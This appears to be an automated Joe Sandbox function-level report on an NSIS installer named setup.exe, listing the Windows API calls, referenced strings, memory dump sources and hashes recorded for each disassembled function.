Function 00402C72 Relevance: 30.0, APIs: 5, Strings: 12, Instructions: 203
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402C86
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe,00000400), ref: 00402CA2

Part of subcall function 0040583D: GetFileAttributesA.KERNEL32(00000003,00402CB5,C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe,80000000,00000003), ref: 00405841
Part of subcall function 0040583D: CreateFileA.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405863

GetFileSize.KERNEL32(00000000,00000000,0042B000,00000000,C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp,C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp,C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe,C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe,80000000,00000003), ref: 00402CEB
GlobalAlloc.KERNEL32(00000040,00409130), ref: 00402E32

Strings

C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe, xrefs: 00402C8C, 00402C9B, 00402CAF, 00402CCC
s7, xrefs: 00402EF7
C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp, xrefs: 00402CCD, 00402CD2, 00402CD8
Error launching installer, xrefs: 00402CC2
Null, xrefs: 00402D6B
Inst, xrefs: 00402D59
soft, xrefs: 00402D62
]4, xrefs: 00402EBA
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00402E7B
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402EC9
C:\Users\user\AppData\Local\Temp\, xrefs: 00402C72, 00402E4A
"C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe", xrefs: 00402C7F

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: "C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp$C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$]4$soft$s7
API String ID: 2803837635-2491479154
Opcode ID: 6147c8ce7f916bf316bc462c049502f5517c6654920939d23064a14b970bc3fe
Instruction ID: 0b72a330c31c6d4d52753dad6a5c3012229d4666e6dae103a7747cbc92612fb8
Opcode Fuzzy Hash: 6147c8ce7f916bf316bc462c049502f5517c6654920939d23064a14b970bc3fe
Instruction Fuzzy Hash: B761E231A40215ABDB20DF64DE49B9E7BB4EB04315F20407BF904B62D2D7BC9E458B9C

Uniqueness

Uniqueness Score: -1.00%

Function 00401734 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 147
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatA.KERNEL32(00000000,00000000,get,00429800,00000000,00000000,00000031), ref: 00401773
CompareFileTime.KERNEL32(-00000014,?,get,get,00000000,00000000,get,00429800,00000000,00000000,00000031), ref: 0040179D

Part of subcall function 00405B66: lstrcpynA.KERNEL32(?,?,00000400,004032AA,BlueStacks 514101007 Stable BlueStacks Tweaker 5161 Final OS SCloudWS.exe,NSIS Error), ref: 00405B73

Part of subcall function 00404F04: lstrlenA.KERNEL32(Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000,?), ref: 00404F3D
Part of subcall function 00404F04: lstrlenA.KERNEL32(00402C4A,Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000), ref: 00404F4D
Part of subcall function 00404F04: lstrcatA.KERNEL32(Completed,00402C4A,00402C4A,Completed,00000000,00000000,00000000), ref: 00404F60
Part of subcall function 00404F04: SetWindowTextA.USER32(Completed,Completed), ref: 00404F72
Part of subcall function 00404F04: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404F98
Part of subcall function 00404F04: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404FB2
Part of subcall function 00404F04: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404FC0

Strings

get, xrefs: 00401750, 00401759, 00401766, 00401778, 00401789, 004017BF, 004017D5, 004017F3, 00401833, 004018B4, 004018BD, 004018C7, 004018D2
C:\Users\user\AppData\Local\Temp\nsu8144.tmp, xrefs: 0040177E, 004017ED, 0040180B
C:\Users\user\AppData\Local\Temp\nsu8144.tmp\inetc.dll, xrefs: 00401801, 0040181D

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nsu8144.tmp$C:\Users\user\AppData\Local\Temp\nsu8144.tmp\inetc.dll$get
API String ID: 1941528284-494950767
Opcode ID: 1f0edc045cd382c84092dd40ce01d8f20d2440185c22bd3c7f2df70350d19866
Instruction ID: ca24b6133afb507e547736dc5ab02d451b7f1a2d30e0a517c5ad6537af4b780a
Opcode Fuzzy Hash: 1f0edc045cd382c84092dd40ce01d8f20d2440185c22bd3c7f2df70350d19866
Instruction Fuzzy Hash: 8441C131900515BBCB10BFB5DD46EAF3A79EF01369B24433BF511B11E1D63C9A418AAD

Uniqueness

Uniqueness Score: -1.00%

Function 00403043 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 108
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403058

Part of subcall function 004031F1: SetFilePointer.KERNEL32(00000000,00000000,00000000,00402E9D,0000B5E4), ref: 004031FF

SetFilePointer.KERNEL32(00000000,00000000,?,00000000,?,00402F4E,00000004,00000000,00000000,00000000,?,?,?,00402EC4,000000FF,00000000), ref: 0040308B
WriteFile.KERNEL32(0040B040,0041233B,00000000,00000000,00413040,00004000,?,00000000,?,00402F4E,00000004,00000000,00000000,00000000,?,?), ref: 00403145
SetFilePointer.KERNEL32(003773E3,00000000,00000000,00413040,00004000,?,00000000,?,00402F4E,00000004,00000000,00000000,00000000,?,?), ref: 00403197

Strings

@0A, xrefs: 004030B8
s7, xrefs: 00403047, 00403175
]4, xrefs: 004030A2
;#A, xrefs: 00403114, 0040312D

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: File$Pointer$CountTickWrite
String ID: ;#A$@0A$]4$s7
API String ID: 2146148272-5657629
Opcode ID: 09db56204c7f15284c341d007dee54cfa9a87c515f6ef0f82ef5e9c09c89c7a4
Instruction ID: c862c83604f3b109b9ae356e59bf9e99270c6d64ee518f880403d0392c1b0dc8
Opcode Fuzzy Hash: 09db56204c7f15284c341d007dee54cfa9a87c515f6ef0f82ef5e9c09c89c7a4
Instruction Fuzzy Hash: 4B41ABB25042029FD710CF29EE4096A7FBDF748356705423BE501BA2E1CB3C6E099B9E

Uniqueness

Uniqueness Score: -1.00%

Function 00404F04 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000,?), ref: 00404F3D
lstrlenA.KERNEL32(00402C4A,Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000), ref: 00404F4D
lstrcatA.KERNEL32(Completed,00402C4A,00402C4A,Completed,00000000,00000000,00000000), ref: 00404F60
SetWindowTextA.USER32(Completed,Completed), ref: 00404F72
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404F98
SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404FB2
SendMessageA.USER32(?,00001013,?,00000000), ref: 00404FC0

Strings

Completed, xrefs: 00404F24, 00404F36, 00404F3C, 00404F5F, 00404F6B

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Completed
API String ID: 2531174081-3087654605
Opcode ID: 3060ff48176a0075549dcba78de7f639edbccfa172efc44d831dc49f1ba50047
Instruction ID: 33d69ec58002f5e3cec48cf4aa7ac502a1da6879986bf9ca4026f821734cd723
Opcode Fuzzy Hash: 3060ff48176a0075549dcba78de7f639edbccfa172efc44d831dc49f1ba50047
Instruction Fuzzy Hash: C4219D71A00108BBDF119FA5CD849DEBFB9EB49354F14807AFA04B6290C3389E45CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00402F18 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 109
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNEL32(00409130,00000000,00000000,00000000,00000000,00000000,?,?,?,00402EC4,000000FF,00000000,00000000,00409130,0000B5E4), ref: 00402F3F
ReadFile.KERNEL32(00409130,00000004,0000B5E4,00000000,00000004,00000000,00000000,00000000,?,?,?,00402EC4,000000FF,00000000,00000000,00409130), ref: 00402F6C
ReadFile.KERNEL32(00413040,00004000,0000B5E4,00000000,00409130,?,00402EC4,000000FF,00000000,00000000,00409130,0000B5E4), ref: 00402FC6
WriteFile.KERNEL32(00000000,00413040,0000B5E4,000000FF,00000000,?,00402EC4,000000FF,00000000,00000000,00409130,0000B5E4), ref: 00402FDE

Strings

s7, xrefs: 00402F34, 00402F82, 00402FF6, 0040302B
@0A, xrefs: 00402FA6

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: File$Read$PointerWrite
String ID: @0A$s7
API String ID: 2113905535-1571524994
Opcode ID: 3fc20a6f8204afd4db5be5275d6ec1a2b538eb21de19a3adc5be7867336c551b
Instruction ID: f0f891dec1baa82fcb152a6e3a42d02399587e043c2e4755ce28507b82245ee9
Opcode Fuzzy Hash: 3fc20a6f8204afd4db5be5275d6ec1a2b538eb21de19a3adc5be7867336c551b
Instruction Fuzzy Hash: 3F315731501249EBDB21CF55DD40A9E7FBCEB843A5F20407AFA05A6190D3789F81DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00401F51 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000,00000001,000000F0), ref: 00401F7C

Part of subcall function 00404F04: lstrlenA.KERNEL32(Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000,?), ref: 00404F3D
Part of subcall function 00404F04: lstrlenA.KERNEL32(00402C4A,Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000), ref: 00404F4D
Part of subcall function 00404F04: lstrcatA.KERNEL32(Completed,00402C4A,00402C4A,Completed,00000000,00000000,00000000), ref: 00404F60
Part of subcall function 00404F04: SetWindowTextA.USER32(Completed,Completed), ref: 00404F72
Part of subcall function 00404F04: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404F98
Part of subcall function 00404F04: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404FB2
Part of subcall function 00404F04: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404FC0

LoadLibraryExA.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00401F8C
GetProcAddress.KERNEL32(00000000,?), ref: 00401F9C
FreeLibrary.KERNEL32(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 00402007

Strings

?B, xrefs: 00401FC7

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID: ?B
API String ID: 2987980305-117478770
Opcode ID: a57e8c0769ea844e22e0c1e1f0cba5f5542df926a794c83fcda134ba5213478a
Instruction ID: 83c29b7dad20212888764ed045f323035a642c1bbb84e8da84d377f5f563bf0e
Opcode Fuzzy Hash: a57e8c0769ea844e22e0c1e1f0cba5f5542df926a794c83fcda134ba5213478a
Instruction Fuzzy Hash: D621EE72D04216EBCF207FA4DE49A6E75B06B44399F204237F511B52E0D77C4D41965E

Uniqueness

Uniqueness Score: -1.00%

Function 0040586C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040587F
GetTempFileNameA.KERNEL32(?,0061736E,00000000,?), ref: 00405899

Strings

nsa, xrefs: 00405878
C:\Users\user\AppData\Local\Temp\, xrefs: 0040586C, 0040586F
"C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe", xrefs: 00405873

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-3074845095
Opcode ID: fc5e126f8815d4696b9f295c06fae67d9d4e63728d0dbdda5093f58b42bfadad
Instruction ID: 7bdb262dbebad2fb51735791196b4a750b565e3ebaa120aaaad2cbe3184e43fd
Opcode Fuzzy Hash: fc5e126f8815d4696b9f295c06fae67d9d4e63728d0dbdda5093f58b42bfadad
Instruction Fuzzy Hash: B1F0A73734820876E7105E55DC04B9B7F9DDF91760F14C027FE44DA1C0D6B49954C7A5

Uniqueness

Uniqueness Score: -1.00%

Function 00401BAD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76
windowtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C0D
SendMessageA.USER32(00000000,00000000,?,?), ref: 00401C25

Strings

!, xrefs: 00401BE1

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 4c88f05d798f5705ce1e1e18451d2fcf653d7f56610e9d44bad61831beeb824c
Instruction ID: 67abd366a37910a3fb0c7fe19d632a25016d3899897cc5a5bd850e91adcb6683
Opcode Fuzzy Hash: 4c88f05d798f5705ce1e1e18451d2fcf653d7f56610e9d44bad61831beeb824c
Instruction Fuzzy Hash: B721C4B1A44209BFEF01AFB4CE4AAAE7B75EF44344F14053EF602B60D1D6B84980E718

Uniqueness

Uniqueness Score: -1.00%

Function 004053C6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SearchPathW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004224A8,Error launching installer), ref: 004053EB
CloseHandle.KERNEL32(?), ref: 004053F8

Strings

Error launching installer, xrefs: 004053D9
C:\Users\user\AppData\Local\Temp\, xrefs: 004053C6

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: CloseHandlePathSearch
String ID: C:\Users\user\AppData\Local\Temp\$Error launching installer
API String ID: 4258352748-4043152584
Opcode ID: 3b814a6f076d0ba9038e170a1e0f3647fdefee354992cb10a65e7e77ca0a2381
Instruction ID: 069b69ca15cd8b990da55ccc95fe3be7356009797bdfa18ab8f6d6c8c96e71ef
Opcode Fuzzy Hash: 3b814a6f076d0ba9038e170a1e0f3647fdefee354992cb10a65e7e77ca0a2381
Instruction Fuzzy Hash: A3E0ECB4A00219BFDB00AF64ED49AAB7BBDEB00305F90C522A911E2150D775D8118AB9

Uniqueness

Uniqueness Score: -1.00%

Function 004015B3 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 004056ED: CharNextA.USER32(0040549F,?,004218A8,00000000,00405751,004218A8,004218A8,?,?,76232EE0,0040549F,?,"C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe",76232EE0), ref: 004056FB
Part of subcall function 004056ED: CharNextA.USER32(00000000), ref: 00405700
Part of subcall function 004056ED: CharNextA.USER32(00000000), ref: 0040570F

CreateDirectoryA.KERNEL32(00000000,?,00000000,0000005C,00000000,000000F0), ref: 004015DB
GetLastError.KERNEL32(?,00000000,0000005C,00000000,000000F0), ref: 004015E5
GetFileAttributesA.KERNEL32(00000000,?,00000000,0000005C,00000000,000000F0), ref: 004015F3
SetCurrentDirectoryA.KERNEL32(00000000,00429800,00000000,00000000,000000F0), ref: 00401622

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
String ID:
API String ID: 3751793516-0
Opcode ID: 79158bb1b9e0f9446a8291b1140989ad94052719e68ebd3d846b01836d69eb3e
Instruction ID: c38907cd9fbddcdb820990ab727de55d75fa8bca08f123d111df4852c942a759
Opcode Fuzzy Hash: 79158bb1b9e0f9446a8291b1140989ad94052719e68ebd3d846b01836d69eb3e
Instruction Fuzzy Hash: 7E010431D08141AFDB216F751D4497F27B0AA56369728073FF891B22E2C63C0942962E

Uniqueness

Uniqueness Score: -1.00%

Function 00403208 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00405DC8: CharNextA.USER32(?,*?|<>/":,00000000,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe",C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E20
Part of subcall function 00405DC8: CharNextA.USER32(?,?,?,00000000), ref: 00405E2D
Part of subcall function 00405DC8: CharNextA.USER32(?,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe",C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E32
Part of subcall function 00405DC8: CharPrevA.USER32(?,?,"C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe",C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E42

CreateDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00403229

Strings

1033, xrefs: 00403230
C:\Users\user\AppData\Local\Temp\, xrefs: 00403209, 0040320E, 00403214, 00403220, 00403228, 0040322F

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID: 1033$C:\Users\user\AppData\Local\Temp\
API String ID: 4115351271-3512041753
Opcode ID: abd89e45c2a658b1316b3d4f01b0b3756ccb9227471bfd75c63f163c6189ffd7
Instruction ID: 28437e5e833f6c5712a3d87292ca06883de7807d6adf700678bf42288e0e849f
Opcode Fuzzy Hash: abd89e45c2a658b1316b3d4f01b0b3756ccb9227471bfd75c63f163c6189ffd7
Instruction Fuzzy Hash: 11D0C922656E3032C651363A3C0AFDF091C8F5271AF55847BF908B40D64B6C5A5259EF

Uniqueness

Uniqueness Score: -1.00%

Function 00406566 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396770527.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b47bfdafb4299acf6df14b1a265fb959f908a42d38d0bc6d60d6342fbb02c28f
Instruction ID: 319d18918fa2cc3741333e20ed782d5c303dd2f769888eebbc994f2124d7c2e6
Opcode Fuzzy Hash: b47bfdafb4299acf6df14b1a265fb959f908a42d38d0bc6d60d6342fbb02c28f
Instruction Fuzzy Hash: 29A15171E00229CBDF28CFA8C8547ADBBB1FF44305F15812AD856BB281D7789A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406767 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3396715025.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3396676110.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.3396738868.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
